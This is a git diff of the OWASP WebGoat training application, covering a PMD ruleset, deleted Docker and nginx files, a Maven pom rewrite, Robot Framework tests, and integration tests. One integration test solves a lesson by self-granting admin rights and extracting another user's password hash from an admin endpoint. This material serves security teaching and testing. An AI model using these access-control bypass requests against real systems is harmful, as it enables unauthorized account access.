ancestor::ClassOrInterfaceBody//ConstructorDeclaration//StatementExpression/Expression[pmd-java:typeIs('java.util.ArrayList') or pmd-java:typeIs('java.util.HashMap') or pmd-java:typeIs('java.util.HashSet')]/../..//Name/@Image) -(: not annotated GuardedBy :) -) -and not (../Annotation//Name[@Image='GuardedBy']) -] -]]> - - - - - - - - Problem: The field to which this annotation is applied should only be accessed when holding the built-in 'this' lock by using synchronized. - Solution: Make access thread-safe: synchronize access by method modifier or a synchronized(this) block. - Note that methods with annotations @Autowired, @PostConstruct, @BeforeStep, @Value and @Inject are ignored. - (jpinpoint-rules) - 3 - - - - - - - - - - - - - - - - - Spring Expression Language (SpEL) expression is used for computing the key dynamically. Problem: evaluating the expression language is expensive, on every call. - Solution: use a custom KeyGenerator: keyGenerator=... instead of key=... - (jpinpoint-rules) - 2 - - - - - - - - - - - - - - Improper combination of annotations. Problem: these annotations are not meant to be combined and may cause unexpected and unwanted behavior. - Solution: remove the inappropriate annotation. - Don't combine 2+ of [@Component, @Service, @Configuration, @Controller, @Repository, @Entity] (Spring/JPA) - Don't combine [@Data with @Value] and [@Data or @Value] with any of [@ToString, @EqualsHashCode, @Getter, @Setter, @RequiredArgsConstructor] (Lombok) - (jpinpoint-rules) - 2 - - - - 1] -| -//ClassOrInterfaceBodyDeclaration[count(./Annotation/MarkerAnnotation/Name[@Image='Component' or @Image='Service' or @Image='Configuration' or @Image='Controller' or @Image='Repository' or @Image='Entity']) > 1] -| -//TypeDeclaration[count(./Annotation/MarkerAnnotation/Name[@Image='Data' or @Image='Value']) > 1] -| -//ClassOrInterfaceBodyDeclaration[count(./Annotation/MarkerAnnotation/Name[@Image='Data' or @Image='Value']) > 1] -| -//TypeDeclaration[./Annotation/MarkerAnnotation/Name[@Image='Data' or @Image='Value'] and ./Annotation/MarkerAnnotation/Name[@Image='ToString' or @Image='EqualsAndHashCode' or @Image='Getter' or @Image='Setter' or @Image='RequiredArgsConstructor']] -| -//ClassOrInterfaceBodyDeclaration[./Annotation/MarkerAnnotation/Name[@Image='Data' or @Image='Value'] and ./Annotation/MarkerAnnotation/Name[@Image='ToString' or @Image='EqualsAndHashCode' or @Image='Getter' or @Image='Setter' or @Image='RequiredArgsConstructor']] - ]]> - - - - - - - Problem: ModelMaps are rather large objects containing explicitly added data and administrative data from Spring. They are added to the Portlet session implicitly. They stay in the session for some time: during session activity and 30 minutes (HTTP timeout) after it, in case the user does not exit explicitly. They occupy heap space during that time, for every user. - Solution: Remove the ModelMap from the render method parameter list and create a new local ModelMap to use in the render request scope. - (jpinpoint-rules) - 2 - - - - - - - - - - - Problem: When a XXXApplicationContext is created, all Spring beans are initialized, wired and component scanning may take place. Component scanning involves extensive class path scanning which is expensive. - Solution: Create the ApplicationContext only once in the application deployed/live time. - (jpinpoint-rules) - - - - - - - - - 2 - - - - Avoid to return an additive expression for a Spring Controller because it may cause a MemoryLeak. - Each new value returned will create a new entry in the View Cache. - Also avoid to return a ModelAndView object created using non-static and non-final methods because it may - cause a MemoryLeak. - Solution: Although multiple solutions exist you can make use of model attributes icw a redirectUrl like - redirect:/redirectUrl?someAttribute={someAttribute}.(jpinpoint-rules) - 2 - - - - - - - - - - - Problem: Multiple threads typically access fields of a singleton or may access fields in session scoped objects. If a field or its reference is mutable, non-autowired access is thread-unsafe and may cause corruption or visibility problems. To make this thread-safe, that is, guard the field e.g. with synchronized methods, may cause contention. - Solution: Make the fields final and unmodifiable to defend against mutation. If they really need to be mutable (which is strange for autowired fields), make access thread-safe. Thread-safety can be achieved e.g. by proper synchronization and use the @GuardedBy annotation or use of volatile. - Notes - 1. Autowiring/injection is thread safe, yet make sure no other thread-unsafe assignment is made to that field. - 2. In case you are sure the Component is used in single threaded context only (e.g. a Tasklet), annotate the class with @NotThreadSafe to make this explicit. - 3. Use package-private and @VisibleForTesting for methods (e.g. setters) used for JUnit only. - (jpinpoint-rules) - 4 - - - - - - - - - - - - A ModelMap is used in an action method typically for form validation and not cleared. Problem: the ModelMap is put in the session by Spring. This is typically a large object which may bloat the session. - Solution: clear the ModelMap right after the validation in the happy flow. - (jpinpoint-rules) - 2 - - - - - - - - - - - - - Problem: if huge numbers of result rows are fetched these are all stored in memory and this may introduce long gc times and out of memory risk. - Solution: Set fetch size to 100 maximally. Only set it higher than 100 yet still max 500, if you are sure there is only little data returned per row, like 3 rather short columns. - (jpinpoint-rules) - - - - - 500]]] -| -//MethodDeclaration//PrimaryExpression[PrimaryPrefix/Name[ends-with(@Image, '.setFetchSize')] -[ancestor::PrimaryExpression/PrimarySuffix/Arguments/ArgumentList/Expression/PrimaryExpression/PrimaryPrefix/Name[@Image = -ancestor::ClassOrInterfaceBody//VariableDeclarator/VariableDeclaratorId/@Image -[ancestor::VariableDeclarator/VariableInitializer/Expression/PrimaryExpression/PrimaryPrefix/Literal[@Image > 500]]]]] -]]> - - - - 2 - - - - - Problem: Time is taken by the unnecessary roundtrip(s). Unnecessary work is performed. - Solution: Execute the query only once. - (jpinpoint-rules) - - - - - 1]] -]]> - - - - 2 - - - - - Problem: The number of values for the IN-argument list is limited, in Oracle to 1000. An error occurs when exceeding this limit. Additionally, a large IN list takes much time to transport to the database and be parsed. Moreover, each number of IN values used in a query results in a separate cache entry in e.g. the Prepared Statement Cache of the application server and in the Hibernate Query Plan Cache, resulting in higher memory usage and/or low cache hit ratio. - Solution: Rewrite the query by replacing the IN-argument list by a sub query using the criteria used to fetch the IN arguments. Or often even better performing, an inner join using these criteria (depending on indexes etc. - recommended to test to be sure.) This way, the select and update are combined into one, which will also save one roundtrip. - (jpinpoint-rules) - - - - - - - - - 2 - - - - \ No newline at end of file diff --git a/docker/Dockerfile b/docker/Dockerfile deleted file mode 100644 index 1437def53..000000000 --- a/docker/Dockerfile +++ /dev/null @@ -1,22 +0,0 @@ -FROM openjdk:16-slim - -ARG webgoat_version=8.2.1-SNAPSHOT -ENV webgoat_version_env=${webgoat_version} - -RUN apt-get update -RUN useradd -ms /bin/bash webgoat -RUN apt-get -y install apt-utils nginx - -USER webgoat - -COPY --chown=webgoat nginx.conf /etc/nginx/nginx.conf -COPY --chown=webgoat index.html /usr/share/nginx/html/ -COPY --chown=webgoat target/webgoat-server-${webgoat_version}.jar /home/webgoat/webgoat.jar -COPY --chown=webgoat target/webwolf-${webgoat_version}.jar /home/webgoat/webwolf.jar -COPY --chown=webgoat start.sh /home/webgoat - -EXPOSE 8080 -EXPOSE 9090 - -WORKDIR /home/webgoat -ENTRYPOINT /bin/bash /home/webgoat/start.sh $webgoat_version_env diff --git a/docker/Readme.md b/docker/Readme.md deleted file mode 100644 index 7d0831655..000000000 --- a/docker/Readme.md +++ /dev/null @@ -1,13 +0,0 @@ -# Docker all-in-one image - -## Docker build - -```shell -docker build --no-cache --build-arg webgoat_version=8.2.0-SNAPSHOT -t webgoat/goatandwolf:latest . -``` - -## Docker run - -```shell -docker run -p 127.0.0.1:80:8888 -p 127.0.0.1:8080:8080 -p 127.0.0.1:9090:9090 -e TZ=Europe/Amsterdam webgoat/goatandwolf:latest -``` \ No newline at end of file diff --git a/docker/index.html b/docker/index.html deleted file mode 100644 index 43d3457f0..000000000 --- a/docker/index.html +++ /dev/null @@ -1,70 +0,0 @@ - - - - - - - - - -

-
- Landing page for WebGoat and WebWolf -
-

-
- WebGoat is a deliberately insecure web application maintained by OWASP designed - to teach web - application security lessons. - - This program is a demonstration of common server-side application flaws. The - exercises are intended to be used by people to learn about application security and - penetration testing techniques. -
- -
- -

Click on one of the images to go to WebGoat or WebWolf

- -
-
- -
- - -
- - - diff --git a/docker/nginx.conf b/docker/nginx.conf deleted file mode 100644 index 1ca404260..000000000 --- a/docker/nginx.conf +++ /dev/null @@ -1,140 +0,0 @@ -error_log /tmp/error.log; -pid /tmp/nginx.pid; - -worker_processes 1; - -events { worker_connections 1024; } - -http { - - client_body_temp_path /tmp/client_body; - fastcgi_temp_path /tmp/fastcgi_temp; - proxy_temp_path /tmp/proxy_temp; - scgi_temp_path /tmp/scgi_temp; - uwsgi_temp_path /tmp/uwsgi_temp; - - sendfile on; - - upstream docker-webgoat { - server 127.0.0.1:8080; - } - - upstream docker-webwolf { - server 127.0.0.1:9090; - } - - proxy_set_header Host $host; - proxy_set_header X-Real-IP $remote_addr; - proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; - proxy_set_header X-Forwarded-Host $server_name; - - server { - listen 8888; - server_name www.webgoat.local; - - root /var/www; - - access_log /tmp/goataccess.log; - error_log /tmp/goaterror.log; - - location ~* \.(png|jpg|jpeg|gif|ico|woff|otf|ttf|mvc|svg|txt|pdf|docx?|xlsx?)$ { - access_log off; - proxy_pass http://docker-webgoat; - proxy_redirect off; - } - - location / { - root /usr/share/nginx/html; - index index.html; - add_header Cache-Control no-cache; - expires 0; - } - - location /WebGoat { - proxy_pass http://docker-webgoat; - proxy_redirect off; - } - - } - - server { - listen 8888; - server_name www.webwolf.local; - - root /var/www; - - access_log /tmp/wolfaccess.log; - error_log /tmp/wolferror.log; - - location /WebGoat/PasswordReset/ForgotPassword/create-password-reset-link { - proxy_pass http://docker-webgoat; - proxy_redirect off; - } - - location /PasswordReset/reset/reset-password { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /files { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /tmpdir { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /webjars { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /css { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /login { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /images { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /mail { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /upload { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /js { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /landing { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /logout { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - location /WebWolf { - proxy_pass http://docker-webwolf; - proxy_redirect off; - } - - } -} diff --git a/docker/pom.xml b/docker/pom.xml deleted file mode 100644 index 0a245d64a..000000000 --- a/docker/pom.xml +++ /dev/null @@ -1,40 +0,0 @@ - - 4.0.0 - webgoat-all-in-one-docker - jar - - org.owasp.webgoat - webgoat-parent - 8.2.1-SNAPSHOT - - - - - - - - - - org.apache.maven.plugins - maven-antrun-plugin - 3.0.0 - - - install - - - - - - - - run - - - - - - - - diff --git a/docker/start.sh b/docker/start.sh deleted file mode 100644 index b1194e169..000000000 --- a/docker/start.sh +++ /dev/null @@ -1,26 +0,0 @@ -#!/bin/bash - -cd /home/webgoat -service nginx start -sleep 1 -echo "Starting WebGoat..." - -java \ - -Duser.home=/home/webgoat \ - -Dfile.encoding=UTF-8 \ - --add-opens java.base/java.util=ALL-UNNAMED \ - --add-opens java.base/java.lang.reflect=ALL-UNNAMED \ - --add-opens java.base/java.text=ALL-UNNAMED \ - --add-opens java.desktop/java.awt.font=ALL-UNNAMED \ - --add-opens java.base/sun.nio.ch=ALL-UNNAMED \ - --add-opens java.base/java.io=ALL-UNNAMED \ - -jar webgoat.jar --webgoat.build.version="$1" --server.address=0.0.0.0 > webgoat.log & - -sleep 10 - -echo "Starting WebWolf..." -java -Duser.home=/home/webgoat -Dfile.encoding=UTF-8 -jar webwolf.jar --webgoat.build.version=$1 --server.address=0.0.0.0 > webwolf.log & - -echo "Browse to http://localhost to get started" >> webgoat.log - -tail -300f webgoat.log diff --git a/docs/README.md b/docs/README.md index dde40936b..6f0484341 100644 --- a/docs/README.md +++ b/docs/README.md @@ -1,5 +1,4 @@ # WebGoat landing page -Old Github page which now redirects to OWASP website. - +Old GitHub page which now redirects to OWASP website. diff --git a/mvn-debug b/mvn-debug index 066900f60..422467b12 100755 --- a/mvn-debug +++ b/mvn-debug @@ -1,2 +1,2 @@ export MAVEN_OPTS="-Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=y,address=8000" -mvn $@ +./mvnw $@ diff --git a/pom.xml b/pom.xml index 893e45538..4e2ab4ccd 100644 --- a/pom.xml +++ b/pom.xml @@ -1,297 +1,726 @@ - - + + - 4.0.0 - org.owasp.webgoat - webgoat-parent - pom - 8.2.1-SNAPSHOT + 4.0.0 - WebGoat Parent Pom - Parent Pom for the WebGoat Project. A deliberately insecure Web Application - 2006 + + org.springframework.boot + spring-boot-starter-parent + 2.7.1 + + org.owasp.webgoat + webgoat + 2023.0 + jar + + WebGoat + WebGoat, a deliberately insecure Web Application + https://github.com/WebGoat/WebGoat + 2006 + + OWASP + https://github.com/WebGoat/WebGoat/ + + + + GNU General Public License, version 2 + https://www.gnu.org/licenses/gpl-2.0.txt + + + + + mayhew64 + Bruce Mayhew + webgoat@owasp.org + OWASP + https://github.com/WebGoat/WebGoat + + + nbaars + Nanne Baars + nanne.baars@owasp.org + https://github.com/nbaars + Europe/Amsterdam + + + misfir3 + Jason White + jason.white@owasp.org + + + zubcevic + René Zubcevic + rene.zubcevic@owasp.org + + + aolle + Àngel Ollé Blázquez + angel@olleb.com + + + jwayman + Jeff Wayman + + + + dcowden + Dave Cowden + + + + lawson89 + Richard Lawson + + + + dougmorato + Doug Morato + doug.morato@owasp.org + OWASP + https://github.com/dougmorato + America/New_York + + https://avatars2.githubusercontent.com/u/9654?v=3&s=150 + + + + + + + OWASP WebGoat Mailing List + https://lists.owasp.org/mailman/listinfo/owasp-webgoat + Owasp-webgoat-request@lists.owasp.org + owasp-webgoat@lists.owasp.org + http://lists.owasp.org/pipermail/owasp-webgoat/ + + + + + scm:git:git@github.com:WebGoat/WebGoat.git + scm:git:git@github.com:WebGoat/WebGoat.git + HEAD https://github.com/WebGoat/WebGoat + - - 3.2.5 - + + Github Issues + https://github.com/WebGoat/WebGoat/issues + - - OWASP - https://github.com/WebGoat/WebGoat/ - + - - org.springframework.boot - spring-boot-starter-parent - 2.4.3 - - - - - GNU General Public License, version 2 - https://www.gnu.org/licenses/gpl-2.0.txt - - - - - - mayhew64 - Bruce Mayhew - webgoat@owasp.org - OWASP - https://github.com/WebGoat/WebGoat - - - nbaars - Nanne Baars - nanne.baars@owasp.org - https://github.com/nbaars - Europe/Amsterdam - - - misfir3 - Jason White - jason.white@owasp.org - - - zubcevic - René Zubcevic - rene.zubcevic@owasp.org - - - jwayman - Jeff Wayman - - - - dcowden - Dave Cowden - - - - lawson89 - Richard Lawson - - - - dougmorato - Doug Morato - doug.morato@owasp.org - OWASP - https://github.com/dougmorato - America/New_York - - https://avatars2.githubusercontent.com/u/9654?v=3&s=150 - - - - - - - OWASP WebGoat Mailing List - https://lists.owasp.org/mailman/listinfo/owasp-webgoat - Owasp-webgoat-request@lists.owasp.org - owasp-webgoat@lists.owasp.org - http://lists.owasp.org/pipermail/owasp-webgoat/ - - - - - https://github.com/WebGoat/WebGoat - scm:git:git@github.com:WebGoat/WebGoat.git - scm:git:git@github.com:WebGoat/WebGoat.git - HEAD - - - - Github Issues - https://github.com/WebGoat/WebGoat/issues - - - - Travis CI - https://travis-ci.org/WebGoat/WebGoat - - - - - UTF-8 - UTF-8 - 15 - 15 - - - build - - - 1.1.1 - 3.2.1 - 3.4 - 2.6 - 30.1-jre - 1.18.20 - 3.8.0 - 2.22.0 - 3.1.2 - 3.1.1 - 3.1.0 - 3.0.0-M4 - 15 - - - - webgoat-container - webgoat-lessons - webgoat-server - webwolf - webgoat-integration-tests - docker - + + 2.5.3 + 3.3.7 + 2.2 + + 3.1.2 + 3.2.1 + 2.6 + 3.12.0 + 1.9 + 30.1-jre + 17 + 0.9.1 + 0.7.6 + 3.5.1 + 1.14.3 + 3.8.0 + 2.22.0 + 3.1.2 + 3.1.1 + 3.1.0 + 3.0.0-M5 + 17 + 17 + 3.15.0 + + UTF-8 + UTF-8 + 3.0.15.RELEASE + 4.3.1 + 8080 + 9090 + 2.27.2 + 1.2 + 1.4.5 + + 1.5.2 + + - - org.springframework.boot - spring-boot-starter-validation - - - org.projectlombok - lombok - provided - true - - - org.apache.commons - commons-exec - 1.3 - - - javax.xml.bind - jaxb-api - + + + org.ow2.asm + asm + 9.1 + + + + org.apache.commons + commons-exec + 1.3 + + + org.asciidoctor + asciidoctorj + ${asciidoctorj.version} + + + + org.jsoup + jsoup + ${jsoup.version} + + + com.nulab-inc + zxcvbn + ${zxcvbn.version} + + + com.thoughtworks.xstream + xstream + ${xstream.version} + + + cglib + cglib-nodep + ${cglib.version} + + + xml-resolver + xml-resolver + ${xml-resolver.version} + + + io.jsonwebtoken + jjwt + ${jjwt.version} + + + com.google.guava + guava + ${guava.version} + + + commons-io + commons-io + ${commons-io.version} + + + org.apache.commons + commons-text + ${commons-text.version} + + + org.bitbucket.b_c + jose4j + ${jose4j.version} + + + org.webjars + bootstrap + ${bootstrap.version} + + + org.webjars + jquery + ${jquery.version} + + + com.github.tomakehurst + wiremock + ${wiremock.version} + + + io.github.bonigarcia + webdrivermanager + ${webdriver.version} + + + org.apache.commons + commons-compress + 1.21 + + + org.jruby + jruby + 9.3.6.0 + + - + + + org.apache.commons + commons-exec + + + org.springframework.boot + spring-boot-starter-validation + + + org.projectlombok + lombok + provided + true + + + javax.xml.bind + jaxb-api + + + org.springframework.boot + spring-boot-starter-undertow + + + org.springframework.boot + spring-boot-starter-web + + + org.springframework.boot + spring-boot-starter-tomcat + + + + + org.springframework.boot + spring-boot-starter-actuator + + + org.flywaydb + flyway-core + + + org.asciidoctor + asciidoctorj + + + org.springframework.boot + spring-boot-starter-data-jpa + + + org.springframework.boot + spring-boot-starter-security + + + org.springframework.boot + spring-boot-starter-thymeleaf + + + org.thymeleaf.extras + thymeleaf-extras-springsecurity5 + + + org.hsqldb + hsqldb + + + org.jsoup + jsoup + + + com.nulab-inc + zxcvbn + + + com.thoughtworks.xstream + xstream + + + cglib + cglib-nodep + + + xml-resolver + xml-resolver + + + io.jsonwebtoken + jjwt + + + com.google.guava + guava + + + commons-io + commons-io + + + org.apache.commons + commons-lang3 + + + org.apache.commons + commons-text + + + org.bitbucket.b_c + jose4j + + + org.webjars + bootstrap + + + org.webjars + jquery + + + org.glassfish.jaxb + jaxb-runtime + + + + org.springframework.boot + spring-boot-starter-test + test + + + org.springframework.security + spring-security-test + test + + + com.github.tomakehurst + wiremock + test + + + io.rest-assured + rest-assured + test + + + + + + + false + + central + https://repo.maven.apache.org/maven2 + + + + + + false + + central + https://repo.maven.apache.org/maven2 + + + + + + + org.springframework.boot + spring-boot-maven-plugin + + true + true + org.owasp.webgoat.server.StartWebGoat + + + + org.asciidoctor + asciidoctorj + + + + + + + repackage + + + + + + org.codehaus.mojo + build-helper-maven-plugin + + + add-integration-test-source-as-test-sources + + add-test-source + + generate-test-sources + + + src/it/java + + + + + + + org.apache.maven.plugins + maven-failsafe-plugin + + + ${basedir}/src/test/resources/logback-test.xml + + -Xmx512m -Dwebgoatport=${webgoat.port} -Dwebwolfport=${webwolf.port} + org/owasp/webgoat/*Test + + + + integration-test + + integration-test + + + + verify + + verify + + + + + + org.apache.maven.plugins + maven-surefire-plugin + ${maven-surefire-plugin.version} + + --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED + --add-opens java.base/sun.nio.ch=ALL-UNNAMED --add-opens java.base/java.io=ALL-UNNAMED + --add-opens java.base/java.util=ALL-UNNAMED --add-opens java.base/java.lang.reflect=ALL-UNNAMED + --add-opens java.base/java.text=ALL-UNNAMED --add-opens java.desktop/java.awt.font=ALL-UNNAMED + + **/*IntegrationTest.java + src/it/java + org/owasp/webgoat/*Test + + + + + org.apache.maven.plugins + maven-checkstyle-plugin + ${checkstyle.version} + + UTF-8 + true + true + config/checkstyle/checkstyle.xml + config/checkstyle/suppressions.xml + checkstyle.suppressions.file + + + + com.diffplug.spotless + spotless-maven-plugin + 2.29.0 + + + + + .gitignore + + + + + true + 4 + + + + + + **/*.md + + + + + + + + true + + + + + UTF-8 + ${line.separator} + true + false + true + 2 + false + false + recommended_2008_06 + true + true + true + + + + + + + check + + + + + + org.apache.maven.plugins + maven-enforcer-plugin + 3.0.0 + + + restrict-log4j-versions + + enforce + + validate + + + + + org.apache.logging.log4j:log4j-core + + + + true + + + + + + org.apache.maven.plugins + maven-compiler-plugin + + 17 + 17 + + + + + + + + local-server + + + start-server + + true + + - - org.codehaus.mojo - flatten-maven-plugin - 1.2.5 + + org.codehaus.mojo + build-helper-maven-plugin + + + reserve-container-port + + reserve-network-port + + process-resources + + webgoat.port + webwolf.port + jmxPort + - - - flatten - process-resources - - flatten - - - - - - org.apache.maven.plugins - maven-compiler-plugin - ${maven-compiler-plugin.version} + + + + + com.bazaarvoice.maven.plugins + process-exec-maven-plugin + 0.9 + + + start-jar + + start + + pre-integration-test - 15 - 15 - UTF-8 + ${project.build.directory} + + java + -jar + -Dlogging.pattern.console= + -Dspring.main.banner-mode=off + -Dspring.datasource.url=jdbc:hsqldb:file:${java.io.tmpdir}/webgoat + -Dwebgoat.port=${webgoat.port} + -Dwebwolf.port=${webwolf.port} + --add-opens + java.base/java.lang=ALL-UNNAMED + --add-opens + java.base/java.util=ALL-UNNAMED + --add-opens + java.base/java.lang.reflect=ALL-UNNAMED + --add-opens + java.base/java.text=ALL-UNNAMED + --add-opens + java.desktop/java.beans=ALL-UNNAMED + --add-opens + java.desktop/java.awt.font=ALL-UNNAMED + --add-opens + java.base/sun.nio.ch=ALL-UNNAMED + --add-opens + java.base/java.io=ALL-UNNAMED + --add-opens + java.base/java.util=ALL-UNNAMED + ${project.build.directory}/webgoat-${project.version}.jar + + false + http://localhost:${webgoat.port}/WebGoat/ - - - org.apache.maven.plugins - maven-checkstyle-plugin - 3.1.2 - - UTF-8 - true - true - config/checkstyle/checkstyle.xml - config/checkstyle/suppressions.xml - checkstyle.suppressions.file - - - - org.apache.maven.plugins - maven-pmd-plugin - 3.14.0 - - 15 - 1 - - - ${maven.multiModuleProjectDirectory}/config/pmd/pmd-ruleset.xml - - true - true - - - - - check - - - - + + + stop-jar-process + + stop-all + + post-integration-test + + + - - - - - owasp - - false - - - - - org.owasp - dependency-check-maven - 6.1.3 - - 7 - true - true - - - - ${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml - - - - - - - check - - - - - - - - - - - - central - https://repo.maven.apache.org/maven2 - - false - - - - - - central - https://repo.maven.apache.org/maven2 - - false - - - - + + + + owasp + + false + + + + + org.owasp + dependency-check-maven + 6.5.1 + + 7 + false + false + + + ${maven.multiModuleProjectDirectory}/config/dependency-check/project-suppression.xml + + + + + + check + + + + + + + + diff --git a/robot/README.md b/robot/README.md new file mode 100644 index 000000000..5ed805c9f --- /dev/null +++ b/robot/README.md @@ -0,0 +1,19 @@ +# Install and use Robotframework + +## Install Chromedriver on Mac OS + + brew install cask chromedriver + chromedriver --version + +Then see security settings and allow the file to run + +## Install + + pip3 install virtualenv --user + python3 -m virtualenv .venv + source .venv/bin/activate + pip install robotframework + pip install robotframework-SeleniumLibrary + pip install webdriver-manager + robot --variable HEADLESS:"0" --variable ENDPOINT:"http://127.0.0.1:8080/WebGoat" goat.robot + diff --git a/robot/goat.robot b/robot/goat.robot new file mode 100644 index 000000000..972fdf421 --- /dev/null +++ b/robot/goat.robot @@ -0,0 +1,101 @@ +*** Settings *** +Documentation Setup WebGoat Robotframework tests +Library SeleniumLibrary timeout=100 run_on_failure=Capture Page Screenshot +Library String + +Suite Setup Initial_Page ${ENDPOINT} ${BROWSER} +Suite Teardown Close_Page + +*** Variables *** +${BROWSER} chrome +${SLEEP} 100 +${DELAY} 0.25 +${ENDPOINT} http://127.0.0.1:8080/WebGoat +${ENDPOINT_WOLF} http://127.0.0.1:9090 +${USERNAME} robotuser +${PASSWORD} password +${HEADLESS} ${FALSE} + +*** Keywords *** +Initial_Page + [Documentation] Check the inital page + [Arguments] ${ENDPOINT} ${BROWSER} + Log To Console Start WebGoat UI Testing + IF ${HEADLESS} + Open Browser ${ENDPOINT} ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat + ELSE + Open Browser ${ENDPOINT} ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webgoat + END + IF ${HEADLESS} + Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_argument("-headless");add_argument("--start-maximized");add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf + ELSE + Open Browser ${ENDPOINT_WOLF}/WebWolf ${BROWSER} options=add_experimental_option('prefs', {'intl.accept_languages': 'en,en_US'}) alias=webwolf + END + Switch Browser webgoat + Maximize Browser Window + Set Window Size ${1400} ${1000} + Switch Browser webwolf + Maximize Browser Window + Set Window Size ${1400} ${1000} + Set Window Position ${400} ${200} + Set Selenium Speed ${DELAY} + +Close_Page + [Documentation] Closing the browser + Log To Console ==> Stop WebGoat UI Testing + IF ${HEADLESS} + Switch Browser webgoat + Close Browser + Switch Browser webwolf + Close Browser + END + +*** Test Cases *** + +Check_Initial_Page + Switch Browser webgoat + Page Should Contain Username + Click Button Sign in + Page Should Contain Invalid username + Click Link /WebGoat/registration + +Check_Registration_Page + Page Should Contain Username + Input Text username ${USERNAME} + Input Text password ${PASSWORD} + Input Text matchingPassword ${PASSWORD} + Click Element agree + Click Button Sign up + +Check_Welcome_Page + Page Should Contain WebGoat + Go To ${ENDPOINT}/login + Page Should Contain Username + Input Text username ${USERNAME} + Input Text password ${PASSWORD} + Click Button Sign in + Page Should Contain WebGoat + +Check_Menu_Page + Click Element css=a[category='Introduction'] + Click Element Introduction-WebGoat + CLick Element Introduction-WebWolf + Click Element css=a[category='General'] + CLick Element General-HTTPBasics + Click Element xpath=//*[.='2'] + Input Text person ${USERNAME} + Click Button Go! + ${OUT_VALUE} Get Text xpath=//div[contains(@class, 'attack-feedback')] + ${OUT_RESULT} Evaluate "resutobor" in """${OUT_VALUE}""" + IF not ${OUT_RESULT} + Fail "not ok" + END + +Check_WebWolf + Switch Browser webwolf + location should be ${ENDPOINT_WOLF}/WebWolf + Go To ${ENDPOINT_WOLF}/mail + Input Text username ${USERNAME} + Input Text password ${PASSWORD} + Click Button Sign In + diff --git a/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java b/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java new file mode 100644 index 000000000..d57661f9a --- /dev/null +++ b/src/it/java/org/owasp/webgoat/AccessControlIntegrationTest.java @@ -0,0 +1,86 @@ +package org.owasp.webgoat; + + +import io.restassured.RestAssured; +import io.restassured.http.ContentType; +import org.apache.http.HttpStatus; +import org.junit.jupiter.api.Test; + +import java.util.Map; + +class AccessControlIntegrationTest extends IntegrationTest { + + @Test + void testLesson() { + startLesson("MissingFunctionAC", true); + assignment1(); + assignment2(); + assignment3(); + + checkResults("/access-control"); + } + + private void assignment3() { + //direct call should fail if user has not been created + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users-admin-fix")) + .then() + .statusCode(HttpStatus.SC_FORBIDDEN); + + //create user + var userTemplate = """ + {"username":"%s","password":"%s","admin": "true"} + """; + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .body(String.format(userTemplate, this.getUser(), this.getUser())) + .post(url("/WebGoat/access-control/users")) + .then() + .statusCode(HttpStatus.SC_OK); + + //get the users + var userHash = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users-admin-fix")) + .then() + .statusCode(200) + .extract() + .jsonPath() + .get("find { it.username == \"Jerry\" }.userHash"); + + checkAssignment(url("/WebGoat/access-control/user-hash-fix"), Map.of("userHash", userHash), true); + } + + private void assignment2() { + var userHash = + RestAssured.given() + .when() + .relaxedHTTPSValidation() + .cookie("JSESSIONID", getWebGoatCookie()) + .contentType(ContentType.JSON) + .get(url("/WebGoat/access-control/users")) + .then() + .statusCode(200) + .extract() + .jsonPath() + .get("find { it.username == \"Jerry\" }.userHash"); + + checkAssignment(url("/WebGoat/access-control/user-hash"), Map.of("userHash", userHash), true); + } + + private void assignment1() { + var params = Map.of("hiddenMenu1", "Users", "hiddenMenu2", "Config"); + checkAssignment(url("/WebGoat/access-control/hidden-menu"), params, true); + } +} diff --git a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/CSRFTest.java b/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java similarity index 88% rename from webgoat-integration-tests/src/test/java/org/owasp/webgoat/CSRFTest.java rename to src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java index 8d9996481..01d22d1aa 100644 --- a/webgoat-integration-tests/src/test/java/org/owasp/webgoat/CSRFTest.java +++ b/src/it/java/org/owasp/webgoat/CSRFIntegrationTest.java @@ -9,7 +9,7 @@ import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.BeforeEach; import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.TestFactory; -import org.owasp.webgoat.lessons.Assignment; +import org.owasp.webgoat.container.lessons.Assignment; import java.io.IOException; import java.nio.file.Files; @@ -23,7 +23,7 @@ import static org.assertj.core.api.Assertions.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; import static org.junit.jupiter.api.DynamicTest.dynamicTest; -public class CSRFTest extends IntegrationTest { +public class CSRFIntegrationTest extends IntegrationTest { private static final String trickHTML3 = "
